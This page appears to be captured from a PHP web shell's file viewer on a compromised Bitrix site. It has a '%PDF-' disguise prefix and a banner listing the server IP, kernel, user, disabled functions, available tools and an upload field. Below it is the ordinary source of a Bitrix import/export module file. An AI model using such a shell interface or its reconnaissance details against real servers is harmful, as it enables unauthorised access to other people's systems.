%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.216.95.197 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.allimportexport/ |
Upload File : |
<?php namespace Bitrix\EsolAie; use Bitrix\Main\Loader, Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); include_once(dirname(__FILE__).'/install/demo.php'); if(!class_exists('Runner')) { class Runner { protected static $moduleId = 'esol.allimportexport'; protected static $classesFields = array(); static function GetModuleId() { return self::$moduleId; } private static function DemoExpired() { $DemoMode = Loader::includeSharewareModule(self::$moduleId); $cnstPrefix = str_replace('.', '_', self::$moduleId); if ($DemoMode==MODULE_DEMO) { $now=time(); if (defined($cnstPrefix."_OLDSITEEXPIREDATE")) { if ($now>=constant($cnstPrefix.'_OLDSITEEXPIREDATE') || constant($cnstPrefix.'_OLDSITEEXPIREDATE')>$now+2000000 || $now - filectime(__FILE__)>2000000) { return true; } } else{ return true; } } elseif ($DemoMode==MODULE_DEMO_EXPIRED) { return true; } return false; } public static function GetEntities($all=false) { if(!is_callable(array('\Bitrix\Main\ModuleManager', 'getInstalledModules'))) return array(); $arEntities = array( array( 'TITLE' => Loc::getMessage('ESOL_AIE_EGROUP_IBLOCK'), 'ITEMS' => array( 'iblockproperty' => array( 'CLASS' => '\Bitrix\Iblock\EsolIEPropertyTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_IBLOCK_PROPERTY') ), 'iblockpropertyenum' => array( 'CLASS' => '\Bitrix\Iblock\EsolIEPropertyEnumerationTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_IBLOCK_PROPERTY_ENUM') ), 'iblocksectionproperty' => array( 'CLASS' => '\Bitrix\Iblock\EsolIESectionPropertyTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_IBLOCK_SECTION_PROPERTY') ), ) ), array( 'TITLE' => Loc::getMessage('ESOL_AIE_EGROUP_SALE'), 'ITEMS' => array( 'saleorders' => array( 'CLASS' => '\Bitrix\Sale\Internals\EsolIEOrderTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_ORDER'), 'REF_CLASSES' => array('sale') ), 'salebasket' => array( 'CLASS' => '\Bitrix\Sale\Internals\EsolIESaleBasketTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_BASKET'), 'REF_CLASSES' => array('sale', 'catalog') ), 'saleorderpayment' => array( /*'CLASS' => '\Bitrix\Sale\Internals\PaymentTable', 'CLASS_ALT' => '\Bitrix\EsolAie\Entity\SalePaymentTable',*/ 'CLASS' => '\Bitrix\Sale\Internals\EsolIEPaymentTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_ORDER_PAYMENT'), 'REF_CLASSES' => array('sale') ), 'saleordershipment' => array( 'CLASS' => '\Bitrix\Sale\Internals\EsolIEShipmentTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_ORDER_SHIPMENT'), 'REF_CLASSES' => array('sale') ), 'sale_delivery' => array( 'CLASS' => '\Bitrix\Sale\Delivery\Services\EsolIEDeliveryTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_DELIVERY'), 'REF_CLASSES' => array('sale') ), 'storedocs' => array( 'CLASS' => '\Bitrix\EsolAie\Entity\StoreDocsTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_STORE_DOCS'), 'REF_CLASSES' => array('sale') ), 'storedocselement' => array( 'CLASS' => '\Bitrix\EsolAie\Entity\StoreDocsElementTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_STORE_DOCS_ELEMENT'), 'REF_CLASSES' => array('sale') ), 'stores' => array( 'CLASS' => '\Bitrix\Catalog\StoreTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_CATALOG_STORE'), 'REF_CLASSES' => array('catalog') ), 'catalogproduct' => array( 'CLASS' => '\Bitrix\Catalog\EsolIEProductTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_CATALOG_PRODUCT'), 'REF_CLASSES' => array('sale', 'catalog') ), 'locations' => array( 'CLASS' => '\Bitrix\Sale\Location\LocationTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_LOCATION'), 'REF_CLASSES' => array('sale') ), 'location_groups' => array( 'CLASS' => '\Bitrix\Sale\Location\EsolIEGroupTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_LOCATION_GROUP'), 'REF_CLASSES' => array('sale') ), 'sale_user_props' => array( 'CLASS' => '\Bitrix\Sale\Internals\UserPropsTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_USER_PROPS'), 'REF_CLASSES' => array('sale') ), 'sale_user_props_value' => array( 'CLASS' => '\Bitrix\Sale\Internals\UserPropsValueTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_USER_PROPS_VALUE'), 'REF_CLASSES' => array('sale') ), ) ), array( 'TITLE' => Loc::getMessage('ESOL_AIE_EGROUP_MARKETING'), 'ITEMS' => array( 'catalogdiscountcoupon' => array( 'CLASS' => '\Bitrix\Catalog\DiscountCouponTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_CATALOG_DISCOUNT_COUPON') ), 'salediscountcoupon' => array( 'CLASS' => '\Bitrix\Sale\Internals\DiscountCouponTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_DISCOUNT_COUPON') ), 'salediscount' => array( 'CLASS' => '\Bitrix\EsolAie\Entity\SaleDiscountTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_DISCOUNT'), 'REF_CLASSES' => array('sale') /*'CLASS' => '\Bitrix\Sale\Internals\DiscountTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SALE_DISCOUNT')*/ ) ) ), array( 'TITLE' => Loc::getMessage('ESOL_AIE_EGROUP_CRM'), 'ITEMS' => array( 'crmdeal' => array( 'CLASS' => '\Bitrix\Crm\EsolIEDealTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_CRM_DEAL') ) ) ), array( 'TITLE' => '', 'ITEMS' => array( 'user' => array( //'CLASS' => '\Bitrix\Main\UserTable', 'CLASS' => '\Bitrix\Main\EsolIEUserTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_USER') ), 'eventmessage' => array( 'CLASS' => '\Bitrix\Main\Mail\Internal\EsolIEEventMessageTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_EVENTMESSAGE') ), ) ), array( 'TITLE' => Loc::getMessage('ESOL_AIE_EGROUP_AELITA_TEST'), 'ITEMS' => array( 'aelita_test_question' => array( 'CLASS' => '\Bitrix\EsolAie\Entity\AelitaTest\QuestionTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_AELITA_TEST_QUESTION'), 'REF_CLASSES' => array('aelita.test') ), 'aelita_test_answer' => array( 'CLASS' => '\Bitrix\EsolAie\Entity\AelitaTest\AnswerTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_AELITA_TEST_ANSWER'), 'REF_CLASSES' => array('aelita.test') ) ) ), array( 'TITLE' => Loc::getMessage('ESOL_AIE_EGROUP_SOTBIT_SEOMETA'), 'ITEMS' => array( 'sotbit_seometa_section' => array( 'CLASS' => '\Sotbit\Seometa\EsolIESitemapSectionTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SOTBIT_SEOMETA_SECTION'), 'REF_CLASSES' => array('sotbit.seometa') ), 'sotbit_seometa_condition' => array( 'CLASS' => '\Sotbit\Seometa\EsolIEConditionTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SOTBIT_SEOMETA_CONDITION'), 'REF_CLASSES' => array('sotbit.seometa') ), 'sotbit_seometa_url' => array( 'CLASS' => '\Sotbit\Seometa\EsolIESitemapUrlTable', 'TITLE' => Loc::getMessage('ESOL_AIE_ENTITY_SOTBIT_SEOMETA_URL'), 'REF_CLASSES' => array('sotbit.seometa') ) ) ), array( 'TITLE' => Loc::getMessage('ESOL_AIE_EGROUP_CONCEPT_PHOENIX'), 'ITEMS' => array( 'concept_phoenix_seo' => array( 'CLASS' => '\Bitrix\EsolAie\Entity\ConceptPhoenix\SeoTable', 'TITLE' => Loc::getMessage('ESOL_AIE_EGROUP_CONCEPT_PHOENIX_SEO'), 'REF_CLASSES' => array('concept.phoenix') ), ) ), ); $arUTables = unserialize(\Bitrix\Main\Config\Option::get(self::GetModuleId(), 'USER_TABLES', '')); if(!is_array($arUTables)) $arUTables = array(); if(!empty($arUTables)) { $conn = \Bitrix\Main\Application::getConnection(); $helper = $conn->getSqlHelper(); $arGroup = array( 'TITLE' => Loc::getMessage('ESOL_AIE_EGROUP_USER_TABLES'), 'ITEMS' => array() ); foreach($arUTables as $k=>$v) { if(!$v['TABLE']) continue; $tbl = trim(str_replace(array('"', "'"), '', $v['TABLE'])); $arItem = array(); $arItem['TITLE'] = (strlen($v['NAME']) > 0 ? $v['NAME'] : $tbl); if($v['CLASS']) { $arItem['CLASS'] = $v['CLASS']; } else { $className = preg_replace_callback('/(^|_)(\w)/', array(__CLASS__, 'Tbl2Class'), $tbl).'Table'; if(!array_key_exists($tbl, self::$classesFields)) { self::$classesFields[$tbl] = array(); if($row = $conn->query("SHOW TABLES LIKE '".$tbl."'")->Fetch()) { $dbRes = $conn->query("SHOW COLUMNS FROM ".$helper->quote($tbl)); while($arr = $dbRes->Fetch()) { $fieldParams = array('title' => $arr['Field']); if($arr['Key']=='PRI') $fieldParams['primary'] = true; $fieldType = ToLower($arr['Type']); if(strpos($fieldType, 'int')===0) $field = new \Bitrix\Main\Entity\IntegerField($arr['Field'], $fieldParams); elseif(strpos($fieldType, 'decimal')===0 || strpos($fieldType, 'double')===0) $field = new \Bitrix\Main\Entity\FloatField($arr['Field'], $fieldParams); elseif(strpos($fieldType, 'datetime')===0) $field = new \Bitrix\Main\Entity\DatetimeField($arr['Field'], $fieldParams); elseif(strpos($fieldType, 'date')===0) $field = new \Bitrix\Main\Entity\DateField($arr['Field'], $fieldParams); elseif(strpos($fieldType, 'char')===0 || strpos($fieldType, 'varchar')===0) $field = new \Bitrix\Main\Entity\StringField($arr['Field'], $fieldParams); else $field = new \Bitrix\Main\Entity\TextField($arr['Field'], $fieldParams); self::$classesFields[$tbl][$arr['Field']] = $field; } } if(!empty(self::$classesFields[$tbl])) { eval('namespace Bitrix\EsolAie\UEntity;'."\r\n". 'class '.$className.' extends \Bitrix\Main\Entity\DataManager{'."\r\n". 'public static function getTableName(){return "'.$tbl.'";}'. 'public static function getMap(){return \Bitrix\EsolAie\Runner::getMapForUTable("'.$tbl.'");}'. '}'); } } if(!empty(self::$classesFields[$tbl])) $arItem['CLASS'] = '\Bitrix\EsolAie\UEntity\\'.$className; } if($v['MODULE']) $arItem['REF_CLASSES'] = array($v['MODULE']); $arGroup['ITEMS']['tbl_'.$tbl] = $arItem; } $arEntities[] = $arGroup; } $arExclude = array(); if(!$all) { $arTables = unserialize(\Bitrix\Main\Config\Option::get(self::GetModuleId(), 'TABLES', '')); if(!is_array($arTables)) $arTables = array(); foreach($arTables as $k=>$v) { if($v=='N') $arExclude[] = $k; } } $arInstalledModules = \Bitrix\Main\ModuleManager::getInstalledModules(); $arInstalledModuleKeys = array_keys($arInstalledModules); foreach($arEntities as $k=>$arGroup) { foreach($arGroup['ITEMS'] as $k2=>$arItem) { $module = ToLower(current(explode('\\', substr($arItem['CLASS'], strlen('\Bitrix\\'))))); if($module=='esolaie') $module = self::GetModuleId(); //if(!Loader::includeModule($module) || !class_exists($arItem['CLASS'])) $arNeedModules = array($module); if(isset($arItem['REF_CLASSES']) && is_array($arItem['REF_CLASSES']) && count($arItem['REF_CLASSES']) > 0) { /*array_merge($arNeedModules, $arItem['REF_CLASSES']);*/ $arNeedModules = $arItem['REF_CLASSES']; } if(count(array_diff($arNeedModules, $arInstalledModuleKeys)) > 0 || in_array($k2, $arExclude)) { unset($arEntities[$k]['ITEMS'][$k2]); } } } return $arEntities; } public static function getMapForUTable($tbl) { if(array_key_exists($tbl, self::$classesFields) && is_array(self::$classesFields[$tbl])) return self::$classesFields[$tbl]; else return array(); } public static function Tbl2Class($m) { return ToUpper($m[2]); } public static function ValidateEntity($entity) { $arGroups = self::GetEntities(); $arEntitiesKeys = array(); foreach($arGroups as $k=>$v) { if(!is_array($v['ITEMS']) || empty($v['ITEMS'])) continue; foreach($v['ITEMS'] as $k2=>$arItem) { $arEntitiesKeys[] = $k2; } } return (bool)in_array($entity, $arEntitiesKeys); } public static function GetEntityClassByKey($entity) { $arGroups = self::GetEntities(); foreach($arGroups as $k=>$v) { if(!is_array($v['ITEMS']) || empty($v['ITEMS'])) continue; foreach($v['ITEMS'] as $k2=>$arItem) { if($k2==$entity) { if(isset($arItem['REF_CLASSES']) && is_array($arItem['REF_CLASSES'])) { foreach($arItem['REF_CLASSES'] as $module) { Loader::includeModule($module); } } return $arItem['CLASS']; } } } return false; } public static function GetEntityByKey($entity) { $arGroups = self::GetEntities(); foreach($arGroups as $k=>$v) { if(!is_array($v['ITEMS']) || empty($v['ITEMS'])) continue; foreach($v['ITEMS'] as $k2=>$arItem) { if($k2==$entity) { if(isset($arItem['REF_CLASSES']) && is_array($arItem['REF_CLASSES'])) { foreach($arItem['REF_CLASSES'] as $module) { Loader::includeModule($module); } } return $arItem; //return (isset($arItem['CLASS_ALT']) ? $arItem['CLASS_ALT'] : $arItem['CLASS']); } } } return false; } public static function GetEntityKeyByClass($class) { $arGroups = self::GetEntities(); foreach($arGroups as $k=>$v) { if(!is_array($v['ITEMS']) || empty($v['ITEMS'])) continue; foreach($v['ITEMS'] as $k2=>$arItem) { if($arItem['CLASS']==$class) { return $k2; } } } return false; } public static function DoExport($entityId, $params=array(), $fparams=array(), $stepparams=false, $pid = false) { if(self::DemoExpired()) return array(); $ee = \Bitrix\EsolAie\Export\Exporter::getInstance($entityId); $ee->setParams($params, $fparams, $stepparams, $pid); return $ee->Export(); } public static function DoImport($entityId, $file, $params=array(), $fparams=array(), $stepparams=false, $pid = false) { if(self::DemoExpired()) return array(); $ee = \Bitrix\EsolAie\Import\Importer::getInstance($entityId); $ee->setParams($file, $params, $fparams, $stepparams, $pid); return $ee->Import(); } } } $moduleId = Runner::GetModuleId(); $moduleJsId = str_replace('.', '_', $moduleId); $pathJS = '/bitrix/js/'.$moduleId; $pathCSS = '/bitrix/panel/'.$moduleId; $pathLang = BX_ROOT.'/modules/'.$moduleId.'/lang/'.LANGUAGE_ID; \CModule::AddAutoloadClasses( $moduleId, array( '\Bitrix\EsolAie\Export\ProfileTable' => "lib/export/profile_table.php", '\Bitrix\EsolAie\Export\Profile' => "lib/export/profile.php", '\Bitrix\EsolAie\Export\FieldList' => "lib/export/field_list.php", '\Bitrix\EsolAie\Export\Exporter' => "lib/export/exporter.php", '\Bitrix\EsolAie\Export\Utils' => "lib/export/utils.php", '\Bitrix\EsolAie\Export\Extrasettings' => "lib/export/extrasettings.php", '\Bitrix\EsolAie\Export\WriterXlsx' => "lib/export/writer_xlsx.php", '\Bitrix\EsolAie\Export\WriterCsv' => "lib/export/writer_csv.php", '\Bitrix\EsolAie\Export\WriterDbf' => "lib/export/writer_dbf.php", '\Bitrix\EsolAie\Import\ProfileTable' => "lib/import/profile_table.php", '\Bitrix\EsolAie\Import\Profile' => "lib/import/profile.php", '\Bitrix\EsolAie\Import\FieldList' => "lib/import/field_list.php", '\Bitrix\EsolAie\Import\Importer' => "lib/import/importer.php", '\Bitrix\EsolAie\Import\Utils' => "lib/import/utils.php", '\Bitrix\EsolAie\Import\Extrasettings' => "lib/import/extrasettings.php", '\Bitrix\EsolAie\Import\ZipArchive' => "lib/import/zip_archive.php", '\Bitrix\EsolAie\Import\Cloud' => "lib/import/cloud.php", '\Bitrix\EsolAie\Import\Cloud\MailRu' => "lib/import/cloud/mail_ru.php", '\Bitrix\EsolAie\CFileInput' => "lib/file_input.php", '\Bitrix\EsolAie\Sftp' => "lib/sftp.php", '\Bitrix\EsolAie\ClassManager' => "lib/class_manager.php", '\Bitrix\EsolAie\Entity\utils' => "lib/entity/utils.php", '\Bitrix\Main\EsolIEUserTable' => "lib/entity/user_table.php", '\Bitrix\EsolAie\Entity\StoreDocsTable' => "lib/entity/store_docs_table.php", '\Bitrix\EsolAie\Entity\StoreDocsElementTable' => "lib/entity/store_docs_element_table.php", '\Bitrix\EsolAie\Entity\SaleDiscountTable' => "lib/entity/sale_discount_table.php", '\Bitrix\Sale\Internals\EsolIEPaymentTable' => "lib/entity/sale_payment_table.php", '\Bitrix\Sale\Internals\EsolIEShipmentTable' => "lib/entity/sale_shipment_table.php", '\Bitrix\Sale\Internals\EsolIEOrderTable' => "lib/entity/sale_order_table.php", '\Bitrix\Sale\Internals\EsolIEOrderPropsValueTable' => "lib/entity/sale_orderprops_value_table.php", '\Bitrix\Catalog\EsolIEProductTable' => "lib/entity/catalog_product.php", '\Bitrix\Iblock\EsolIESectionPropertyTable' => "lib/entity/section_property_table.php", '\Bitrix\Iblock\EsolIEPropertyEnumerationTable' => "lib/entity/property_enumeration_table.php", '\Bitrix\Iblock\EsolIEPropertyTable' => "lib/entity/property_table.php", '\Bitrix\Iblock\EsolIEElementPropertyTable' => "lib/entity/element_property_table.php", '\Bitrix\EsolAie\Entity\EsolIEElementPropertyV2Table' => "lib/entity/element_property_v2_table.php", '\Bitrix\Sale\Internals\EsolIESaleBasketTable' => "lib/entity/sale_basket_table.php", '\Bitrix\Sale\Internals\EsolIEProductTable' => "lib/entity/sale_product_table.php", '\Bitrix\Sale\Location\EsolIEGroupTable' => "lib/entity/sale_location_group_table.php", '\Bitrix\Sale\Location\Name\EsolIEGroupTable' => "lib/entity/sale_location_name_group_table.php", '\Bitrix\Sale\Delivery\Services\EsolIEDeliveryTable' => "lib/entity/sale_delivery_table.php", '\Bitrix\Main\Mail\Internal\EsolIEEventMessageTable' => "lib/entity/event_message_table.php", '\Bitrix\EsolAie\Entity\SaleUserAccountTable' => "lib/entity/sale_user_account_table.php", '\Bitrix\EsolAie\Entity\AelitaTest\QuestionTable' => "lib/entity/aelita.test/question_table.php", '\Bitrix\EsolAie\Entity\AelitaTest\AnswerTable' => "lib/entity/aelita.test/answer_table.php", '\Sotbit\Seometa\EsolIESitemapSectionTable' => "lib/entity/sotbit.seometa/section_table.php", '\Sotbit\Seometa\EsolIEConditionTable' => "lib/entity/sotbit.seometa/condition_table.php", '\Sotbit\Seometa\EsolIESitemapUrlTable' => "lib/entity/sotbit.seometa/url_table.php", '\Bitrix\EsolAie\Entity\ConceptPhoenix\SeoTable' => "lib/entity/concept.phoenix/seo_table.php", '\Bitrix\Crm\EsolIEDealTable' => "lib/entity/crm/deal_table.php", '\Bitrix\Crm\EsolIEDealUtsTable' => "lib/entity/crm/deal_uts_table.php" ) ); $initFile = $_SERVER["DOCUMENT_ROOT"].BX_ROOT.'/php_interface/include/'.$moduleId.'/init.php'; if(file_exists($initFile)) include_once($initFile); $jqueryExt = (\CJSCore::IsExtRegistered('jquery3') ? 'jquery3' : 'jquery2'); $arJSEsolAieConfig = array( $moduleJsId.'_import' => array( 'js' => $pathJS.'/import/script.js', 'css' => $pathCSS.'/import/styles.css', 'rel' => array($jqueryExt, $moduleJsId.'_chosen'), 'lang' => $pathLang.'/js/import/js_admin.php' ), $moduleJsId.'_export' => array( 'js' => $pathJS.'/export/script.js', 'css' => $pathCSS.'/export/styles.css', 'rel' => array($jqueryExt, $moduleJsId.'_chosen'), 'lang' => $pathLang.'/js/export/js_admin.php' ), $moduleJsId.'_list' => array( 'js' => $pathJS.'/list/script.js', 'css' => $pathCSS.'/list/styles.css', 'rel' => array($jqueryExt, $moduleJsId.'_chosen'), 'lang' => $pathLang.'/js/list/js_admin.php' ), $moduleJsId.'_chosen' => array( 'js' => $pathJS.'/chosen/chosen.jquery.min.js', 'css' => $pathJS.'/chosen/chosen.min.css', 'rel' => array($jqueryExt) ), ); foreach ($arJSEsolAieConfig as $ext => $arExt) { \CJSCore::RegisterExt($ext, $arExt); } if(class_exists('\Bitrix\EsolAie\Import\Utils')) \Bitrix\EsolAie\Import\Utils::PrepareJs(); ?>